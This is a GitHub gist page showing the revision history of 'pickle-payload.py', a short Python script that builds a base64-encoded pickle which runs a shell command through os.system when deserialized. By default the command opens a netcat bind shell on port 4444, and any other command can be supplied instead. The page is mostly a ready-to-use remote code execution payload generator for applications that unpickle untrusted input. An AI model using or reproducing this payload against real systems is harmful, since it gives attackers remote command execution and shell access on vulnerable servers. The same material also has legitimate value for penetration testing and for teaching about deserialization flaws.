Skip to content

Instantly share code, notes, and snippets.

@mgeeky

mgeeky/pickle-payload.py

Last active July 14, 2025 16:19
Show Gist options
  • Save mgeeky/cbc7017986b2ec3e247aab0b01a9edcd to your computer and use it in GitHub Desktop.
Save mgeeky/cbc7017986b2ec3e247aab0b01a9edcd to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. mgeeky revised this gist Aug 31, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion pickle-payload.py
    View file
    Original file line number Diff line number Diff line change
    @@ -6,7 +6,6 @@
    #

    import cPickle
    import os
    import sys
    import base64

    @@ -15,6 +14,7 @@

    class PickleRce(object):
    def __reduce__(self):
    import os
    return (os.system,(COMMAND,))

    print base64.b64encode(cPickle.dumps(PickleRce()))
  2. mgeeky revised this gist Aug 1, 2016. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion pickle-payload.py
    View file
    Original file line number Diff line number Diff line change
    @@ -10,7 +10,7 @@
    import sys
    import base64

    DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 1234"
    DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
    COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

    class PickleRce(object):
  3. mgeeky created this gist Aug 1, 2016.
    20 changes: 20 additions & 0 deletions pickle-payload.py
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,20 @@
    #!/usr/bin/python
    #
    # Pickle deserialization RCE payload.
    # To be invoked with command to execute at it's first parameter.
    # Otherwise, the default one will be used.
    #

    import cPickle
    import os
    import sys
    import base64

    DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 1234"
    COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

    class PickleRce(object):
    def __reduce__(self):
    return (os.system,(COMMAND,))

    print base64.b64encode(cPickle.dumps(PickleRce()))